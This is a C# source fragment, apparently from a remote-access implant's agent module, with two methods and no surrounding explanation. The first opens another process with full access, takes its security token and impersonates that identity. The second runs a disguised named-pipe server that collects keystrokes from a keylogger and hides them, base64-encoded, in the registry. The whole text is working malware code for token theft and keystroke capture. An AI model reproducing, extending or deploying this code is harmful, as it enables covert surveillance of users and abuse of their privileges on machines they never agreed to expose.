public KeyValuePair <int, string> Run() { IntPtr hProcHandle = IntPtr.Zero; IntPtr hProcToken = IntPtr.Zero; if ((hProcHandle = WinApi.OpenProcess(WinApi.PROCESS_ALL_ACCESS, true, targetPid)) == IntPtr.Zero) { if ((hProcHandle = WinApi.OpenProcess(WinApi.PROCESS_QUERY_INFORMATION, true, targetPid)) == IntPtr.Zero) { WinApi.CloseHandle(hProcHandle); } } if (!WinApi.OpenProcessToken(hProcHandle, WinApi.TOKEN_ALL_ACCESS, out hProcToken)) { WinApi.CloseHandle(hProcHandle); } WindowsIdentity newId = new WindowsIdentity(hProcToken); try { Agent.context = newId.Impersonate(); string msg = Convert.ToBase64String(Encoding.ASCII.GetBytes(newId.Name)); return(new KeyValuePair <int, string>(0, msg)); } catch (Exception e) { string msg = Convert.ToBase64String(Encoding.ASCII.GetBytes(e.ToString())); return(new KeyValuePair <int, string>(4, msg)); } }
private void ReceiveKeyStrokes() { string enc = ""; try { //Used PInvoke here instead of the IO.Pipes class because that class does not have a PeekNamedPipe method IntPtr sa = WinApi.CreateNullDescriptorPtr(); hPipe = WinApi.CreateNamedPipe(@"\\.\pipe\svc_kl", WinApi.PIPE_ACCESS_INBOUND, (WinApi.PIPE_READMODE_BYTE | WinApi.PIPE_WAIT), 1, 0, 1024, 10000, sa); #if DEBUG Console.WriteLine("Waiting for client to connect"); #endif //Blocking call to wait for a client to connect WinApi.ConnectNamedPipe(hPipe, IntPtr.Zero); } catch (Exception e) { #if DEBUG Console.WriteLine(e.ToString()); #endif string msg = Convert.ToBase64String(Encoding.ASCII.GetBytes(e.ToString())); Agent.rrbase.SetValue(Agent.modkey, msg); } #if DEBUG Console.WriteLine("Received connection from client"); Console.WriteLine("Starting loop"); #endif while (Agent.keylogRun) { Thread.Sleep(1000); //Check to make sure the pipe is connected if (WinApi.ConnectNamedPipe(hPipe, IntPtr.Zero) == false && (uint)Marshal.GetLastWin32Error() != WinApi.ERROR_PIPE_CONNECTED) { break; } //Variables for PeekNamedPipe and ReadFile byte[] readBuff = new byte[1024]; uint bytesRead = 0; uint bytesAvail = 0; uint bytesLeft = 0; uint read = 0; string oldVal = ""; try { //Check if there is data to read in the pipe if (!WinApi.PeekNamedPipe(hPipe, null, 0, ref bytesRead, ref bytesAvail, ref bytesLeft) && bytesAvail == 0) { continue; } //If we can't read for some reason, continue if (!WinApi.ReadFile(hPipe, readBuff, (uint)readBuff.Length, ref read, IntPtr.Zero)) { continue; } string ks = Encoding.UTF8.GetString(readBuff); ks = ks.TrimEnd(new char[] { '\0' }); #if DEBUG Console.Write(ks); #endif //Append the newly recorded keystrokes to the old value that was stored in the registry oldVal = Encoding.ASCII.GetString(Convert.FromBase64String((string)Agent.rrbase.GetValue(Agent.kkey))); oldVal = oldVal + ks; enc = Convert.ToBase64String(Encoding.UTF8.GetBytes(oldVal)); } catch (Exception e) { enc = Convert.ToBase64String(Encoding.ASCII.GetBytes(e.ToString())); #if DEBUG Console.WriteLine("Error: \n" + e.ToString()); #endif } Agent.rrbase.SetValue(Agent.kkey, enc); } #if DEBUG Console.WriteLine("Client disconnected"); #endif if (!WinApi.DisconnectNamedPipe(hPipe)) { Agent.rrbase.SetValue(Agent.modkey, Convert.ToBase64String(Encoding.ASCII.GetBytes("Unable to disconnect named pipe server"))); } WinApi.CloseHandle(hPipe); }